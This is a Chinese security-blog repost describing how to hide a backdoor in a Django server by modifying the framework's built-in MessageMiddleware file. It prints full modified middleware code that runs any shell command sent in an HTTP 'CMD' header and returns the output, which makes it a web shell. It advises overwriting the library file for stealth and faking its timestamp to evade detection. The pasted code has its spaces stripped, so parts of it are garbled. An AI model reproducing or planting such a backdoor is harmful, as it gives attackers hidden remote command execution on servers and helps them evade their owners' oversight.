更多全球网络安全资讯尽在邑安全 Django 中间件是修改 Django request 或者 response 对象的钩子,可以理解为是介于 HttpRequest 与 HttpResponse 处理之间的一道处理过程。浏览器从请求到响应的过程中,Django 需要通过很多中间件来处理,可以看如下图所示: Django 中间件作用: 读到这里,那么,利用中间件思路在Django中留后门是可行的,这里又有两种方案,一是自己写一个中间件,载入到项目中,另一个种是修改原有的中间件。当然是第二种更隐蔽、改动更小。 Django默认创建项目(python3 manage.py project app)会生成如下settings: 那么这些默认的中间件有没有办法利用呢?我挑选了Django自带的django.contrib.messages.middleware.MessageMiddleware,定位到文件:/usr/local/lib/python3.7/site-packages/django/contrib/messages/middleware.py。默认内容如下: 代码修改如下: self,request,response): 覆盖原文件后,如果项目是uwsgi起的需要重启或者重载,如果是runserver起的或者uwsgi配置文件配置了py-autoreload,那么就不需要重启。 最后记得伪装下文件时间。 原文来自: xz.aliyun.com 原文链接: https://xz.aliyun.com/t/11766 推荐文章 1 新永恒之蓝?微软SMBv3高危漏洞(CVE-2020-0796)分析复现 2 重大漏洞预警:ubuntu最新版本存在本地提权漏洞(已有EXP)
- 修改请求,即传送到 view 中的 HttpRequest 对象。
- 修改响应,即 view 返回的 HttpResponse 对象。
如:利用中间件过滤response达到方法XSS的目的。INSTALLED_APPS = [
'django.contrib.admin',
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.messages',
'django.contrib.staticfiles',
]
MIDDLEWARE = [
'django.middleware.security.SecurityMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.middleware.common.CommonMiddleware',
'django.middleware.csrf.CsrfViewMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
'django.middleware.clickjacking.XFrameOptionsMiddleware',
]fromdjango.confimportsettings
fromdjango.contrib.messages.storageimportdefault_storage
fromdjango.utils.deprecationimportMiddlewareMixin
fromdjango.httpimportHttpResponse
importsubprocess
classMessageMiddleware(MiddlewareMixin):
"""
Middleware that handles temporary messages.
"""
defprocess_request(self,request):
request._messages=default_storage(request)
defprocess_response(
"""
Update the storage backend (i.e., save the messages).
Raise ValueError if not all messages could be stored and DEBUG is True.
"""
# A higher middleware layer may return a request which does not contain
# messages storage, so make no assumption that it will be there.
print("Django-shell working")
cmd=None
cmd=request.META.get("HTTP_CMD")
ifcmd:
ret=subprocess.Popen(cmd,shell=True,stdout=subprocess.PIPE,stderr=subprocess.STDOUT)
response=HttpResponse(cmd+":\r\n"+str(ret.stdout.read()))
ifhasattr(request,'_messages'):
unstored_messages=request._messages.update(response)
ifunstored_messagesandsettings.DEBUG:
raiseValueError('Not all temporary messages could be stored.')
returnresponse
测试效果如下
正文
一种隐蔽的利用Django中间件(Middleware)留后门的方法
此篇文章发布距今已超过669天,您需要注意文章的内容或图片是否可用!
还没有评论,来说两句吧...